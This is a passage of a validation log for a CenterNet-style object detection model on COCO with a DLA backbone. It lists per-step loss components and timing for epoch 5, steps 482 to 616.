|off_loss 0.0452 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][482/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0031 |hm_loss 0.6650 |wh_loss 2.9296 |off_loss 0.0451 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][483/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 1.0011 |hm_loss 0.6638 |wh_loss 2.9235 |off_loss 0.0450 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][484/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9992 |hm_loss 0.6625 |wh_loss 2.9175 |off_loss 0.0449 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][485/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9972 |hm_loss 0.6613 |wh_loss 2.9115 |off_loss 0.0448 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][486/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9953 |hm_loss 0.6600 |wh_loss 2.9055 |off_loss 0.0447 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][487/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9934 |hm_loss 0.6588 |wh_loss 2.8996 |off_loss 0.0446 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][488/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9915 |hm_loss 0.6575 |wh_loss 2.8936 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][489/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9895 |hm_loss 0.6563 |wh_loss 2.8877 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][490/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9876 |hm_loss 0.6551 |wh_loss 2.8818 |off_loss 0.0444 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][491/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9857 |hm_loss 0.6539 |wh_loss 2.8760 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][492/2110]|Tot: 0:00:10 |ETA: 0:00:00 |loss 0.9839 |hm_loss 0.6527 |wh_loss 2.8702 |off_loss 0.0442 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][493/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9820 |hm_loss 0.6514 |wh_loss 2.8643 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][494/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9801 |hm_loss 0.6502 |wh_loss 2.8586 |off_loss 0.0440 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][495/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9782 |hm_loss 0.6490 |wh_loss 2.8528 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][496/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9764 |hm_loss 0.6478 |wh_loss 2.8471 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][497/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9745 |hm_loss 0.6466 |wh_loss 2.8413 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][498/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9727 |hm_loss 0.6455 |wh_loss 2.8356 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][499/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9708 |hm_loss 0.6443 |wh_loss 2.8300 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][500/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9690 |hm_loss 0.6431 |wh_loss 2.8243 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][501/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9672 |hm_loss 0.6419 |wh_loss 2.8187 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][502/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9654 |hm_loss 0.6408 |wh_loss 2.8131 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][503/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9636 |hm_loss 0.6396 |wh_loss 2.8075 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][504/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9618 |hm_loss 0.6384 |wh_loss 2.8020 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][505/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9600 |hm_loss 0.6373 |wh_loss 2.7964 |off_loss 0.0430 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][506/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9582 |hm_loss 0.6361 |wh_loss 2.7909 |off_loss 0.0430 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][507/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9564 |hm_loss 0.6350 |wh_loss 2.7854 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][508/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9546 |hm_loss 0.6338 |wh_loss 2.7799 |off_loss 0.0428 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][509/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9529 |hm_loss 0.6327 |wh_loss 2.7745 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][510/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9511 |hm_loss 0.6316 |wh_loss 2.7691 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][511/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9493 |hm_loss 0.6304 |wh_loss 2.7636 |off_loss 0.0425 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][512/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9476 |hm_loss 0.6293 |wh_loss 2.7583 |off_loss 0.0425 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][513/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9459 |hm_loss 0.6282 |wh_loss 2.7529 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][514/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9441 |hm_loss 0.6271 |wh_loss 2.7475 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][515/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9424 |hm_loss 0.6260 |wh_loss 2.7422 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][516/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9407 |hm_loss 0.6249 |wh_loss 2.7369 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][517/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9390 |hm_loss 0.6238 |wh_loss 2.7316 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][518/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9373 |hm_loss 0.6227 |wh_loss 2.7264 |off_loss 0.0420 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][519/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9356 |hm_loss 0.6216 |wh_loss 2.7211 |off_loss 0.0419 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][520/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9339 |hm_loss 0.6205 |wh_loss 2.7159 |off_loss 0.0418 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][521/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9322 |hm_loss 0.6194 |wh_loss 2.7107 |off_loss 0.0417 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][522/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9305 |hm_loss 0.6183 |wh_loss 2.7055 |off_loss 0.0417 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][523/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9288 |hm_loss 0.6172 |wh_loss 2.7004 |off_loss 0.0416 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][524/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9272 |hm_loss 0.6161 |wh_loss 2.6952 |off_loss 0.0415 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][525/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9255 |hm_loss 0.6151 |wh_loss 2.6901 |off_loss 0.0414 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][526/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9238 |hm_loss 0.6140 |wh_loss 2.6850 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][527/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9222 |hm_loss 0.6130 |wh_loss 2.6799 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][528/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9206 |hm_loss 0.6119 |wh_loss 2.6748 |off_loss 0.0412 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][529/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9189 |hm_loss 0.6108 |wh_loss 2.6698 |off_loss 0.0411 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][530/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9173 |hm_loss 0.6098 |wh_loss 2.6648 |off_loss 0.0410 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][531/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9157 |hm_loss 0.6087 |wh_loss 2.6598 |off_loss 0.0409 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][532/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9140 |hm_loss 0.6077 |wh_loss 2.6548 |off_loss 0.0409 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][533/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9124 |hm_loss 0.6067 |wh_loss 2.6498 |off_loss 0.0408 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][534/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9108 |hm_loss 0.6056 |wh_loss 2.6448 |off_loss 0.0407 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][535/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9092 |hm_loss 0.6046 |wh_loss 2.6399 |off_loss 0.0406 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][536/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9076 |hm_loss 0.6036 |wh_loss 2.6350 |off_loss 0.0406 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][537/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9060 |hm_loss 0.6025 |wh_loss 2.6301 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][538/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9045 |hm_loss 0.6015 |wh_loss 2.6252 |off_loss 0.0404 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][539/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9029 |hm_loss 0.6005 |wh_loss 2.6203 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][540/2110]|Tot: 0:00:11 |ETA: 0:00:00 |loss 0.9013 |hm_loss 0.5995 |wh_loss 2.6155 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][541/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8998 |hm_loss 0.5985 |wh_loss 2.6107 |off_loss 0.0402 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][542/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8983 |hm_loss 0.5976 |wh_loss 2.6059 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][543/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8967 |hm_loss 0.5966 |wh_loss 2.6011 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][544/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8952 |hm_loss 0.5956 |wh_loss 2.5963 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][545/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8937 |hm_loss 0.5947 |wh_loss 2.5916 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][546/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8922 |hm_loss 0.5937 |wh_loss 2.5868 |off_loss 0.0398 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][547/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8907 |hm_loss 0.5928 |wh_loss 2.5821 |off_loss 0.0398 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][548/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8892 |hm_loss 0.5918 |wh_loss 2.5774 |off_loss 0.0397 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][549/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8878 |hm_loss 0.5909 |wh_loss 2.5727 |off_loss 0.0396 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][550/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8863 |hm_loss 0.5899 |wh_loss 2.5680 |off_loss 0.0395 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][551/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8848 |hm_loss 0.5890 |wh_loss 2.5634 |off_loss 0.0395 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][552/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8833 |hm_loss 0.5880 |wh_loss 2.5587 |off_loss 0.0394 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][553/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8818 |hm_loss 0.5871 |wh_loss 2.5541 |off_loss 0.0393 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][554/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8803 |hm_loss 0.5861 |wh_loss 2.5495 |off_loss 0.0392 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][555/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8788 |hm_loss 0.5851 |wh_loss 2.5449 |off_loss 0.0392 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][556/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8773 |hm_loss 0.5842 |wh_loss 2.5404 |off_loss 0.0391 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][557/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8758 |hm_loss 0.5832 |wh_loss 2.5358 |off_loss 0.0390 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][558/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8744 |hm_loss 0.5823 |wh_loss 2.5313 |off_loss 0.0390 |Data 0.007s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][559/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8729 |hm_loss 0.5813 |wh_loss 2.5268 |off_loss 0.0389 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][560/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8714 |hm_loss 0.5804 |wh_loss 2.5223 |off_loss 0.0388 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][561/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8700 |hm_loss 0.5794 |wh_loss 2.5178 |off_loss 0.0388 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][562/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8685 |hm_loss 0.5785 |wh_loss 2.5133 |off_loss 0.0387 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][563/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8671 |hm_loss 0.5776 |wh_loss 2.5088 |off_loss 0.0386 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][564/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8656 |hm_loss 0.5766 |wh_loss 2.5044 |off_loss 0.0386 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][565/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8642 |hm_loss 0.5757 |wh_loss 2.5000 |off_loss 0.0385 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][566/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8627 |hm_loss 0.5748 |wh_loss 2.4956 |off_loss 0.0384 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][567/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8613 |hm_loss 0.5738 |wh_loss 2.4912 |off_loss 0.0384 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][568/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8599 |hm_loss 0.5729 |wh_loss 2.4868 |off_loss 0.0383 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][569/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8585 |hm_loss 0.5720 |wh_loss 2.4824 |off_loss 0.0382 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][570/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8571 |hm_loss 0.5711 |wh_loss 2.4781 |off_loss 0.0381 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][571/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8557 |hm_loss 0.5702 |wh_loss 2.4738 |off_loss 0.0381 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][572/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8543 |hm_loss 0.5693 |wh_loss 2.4694 |off_loss 0.0380 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][573/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8529 |hm_loss 0.5684 |wh_loss 2.4651 |off_loss 0.0379 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][574/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8515 |hm_loss 0.5675 |wh_loss 2.4608 |off_loss 0.0379 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][575/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8501 |hm_loss 0.5666 |wh_loss 2.4566 |off_loss 0.0378 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][576/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8487 |hm_loss 0.5657 |wh_loss 2.4523 |off_loss 0.0378 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][577/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8473 |hm_loss 0.5648 |wh_loss 2.4481 |off_loss 0.0377 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][578/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8460 |hm_loss 0.5640 |wh_loss 2.4438 |off_loss 0.0376 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][579/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8446 |hm_loss 0.5631 |wh_loss 2.4396 |off_loss 0.0376 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][580/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8432 |hm_loss 0.5622 |wh_loss 2.4354 |off_loss 0.0375 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][581/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8419 |hm_loss 0.5613 |wh_loss 2.4312 |off_loss 0.0374 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][582/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8405 |hm_loss 0.5605 |wh_loss 2.4271 |off_loss 0.0374 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][583/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8392 |hm_loss 0.5596 |wh_loss 2.4229 |off_loss 0.0373 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][584/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8378 |hm_loss 0.5587 |wh_loss 2.4188 |off_loss 0.0372 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][585/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8365 |hm_loss 0.5579 |wh_loss 2.4147 |off_loss 0.0372 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][586/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8352 |hm_loss 0.5570 |wh_loss 2.4105 |off_loss 0.0371 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][587/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8338 |hm_loss 0.5561 |wh_loss 2.4064 |off_loss 0.0370 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][588/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8325 |hm_loss 0.5553 |wh_loss 2.4024 |off_loss 0.0370 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][589/2110]|Tot: 0:00:12 |ETA: 0:00:00 |loss 0.8312 |hm_loss 0.5544 |wh_loss 2.3983 |off_loss 0.0369 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][590/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8299 |hm_loss 0.5536 |wh_loss 2.3942 |off_loss 0.0369 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][591/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8286 |hm_loss 0.5527 |wh_loss 2.3902 |off_loss 0.0368 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][592/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8273 |hm_loss 0.5519 |wh_loss 2.3862 |off_loss 0.0367 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][593/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8260 |hm_loss 0.5511 |wh_loss 2.3821 |off_loss 0.0367 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][594/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8247 |hm_loss 0.5502 |wh_loss 2.3781 |off_loss 0.0366 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][595/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8234 |hm_loss 0.5494 |wh_loss 2.3741 |off_loss 0.0365 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][596/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8221 |hm_loss 0.5486 |wh_loss 2.3702 |off_loss 0.0365 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][597/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8208 |hm_loss 0.5477 |wh_loss 2.3662 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][598/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8195 |hm_loss 0.5469 |wh_loss 2.3622 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][599/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8182 |hm_loss 0.5461 |wh_loss 2.3583 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][600/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8267 |hm_loss 0.5511 |wh_loss 2.3884 |off_loss 0.0367 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][601/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8353 |hm_loss 0.5565 |wh_loss 2.4203 |off_loss 0.0368 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][602/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8341 |hm_loss 0.5557 |wh_loss 2.4163 |off_loss 0.0367 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][603/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8328 |hm_loss 0.5548 |wh_loss 2.4123 |off_loss 0.0367 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][604/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8315 |hm_loss 0.5540 |wh_loss 2.4083 |off_loss 0.0366 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][605/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8302 |hm_loss 0.5532 |wh_loss 2.4043 |off_loss 0.0366 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][606/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8289 |hm_loss 0.5524 |wh_loss 2.4004 |off_loss 0.0365 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][607/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8276 |hm_loss 0.5516 |wh_loss 2.3964 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][608/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8264 |hm_loss 0.5507 |wh_loss 2.3925 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][609/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8251 |hm_loss 0.5499 |wh_loss 2.3886 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][610/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8238 |hm_loss 0.5491 |wh_loss 2.3846 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][611/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8226 |hm_loss 0.5483 |wh_loss 2.3807 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][612/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8326 |hm_loss 0.5546 |wh_loss 2.4164 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][613/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8407 |hm_loss 0.5596 |wh_loss 2.4460 |off_loss 0.0365 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][614/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8490 |hm_loss 0.5649 |wh_loss 2.4704 |off_loss 0.0371 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][615/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8571 |hm_loss 0.5704 |wh_loss 2.4898 |off_loss 0.0377 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][616/2110]|Tot: 0:00:13 |ETA: 0:00:00 |loss 0.8649 |hm_loss 0.5762 |wh_loss 2.5060 |off_loss 0.0380 |Data 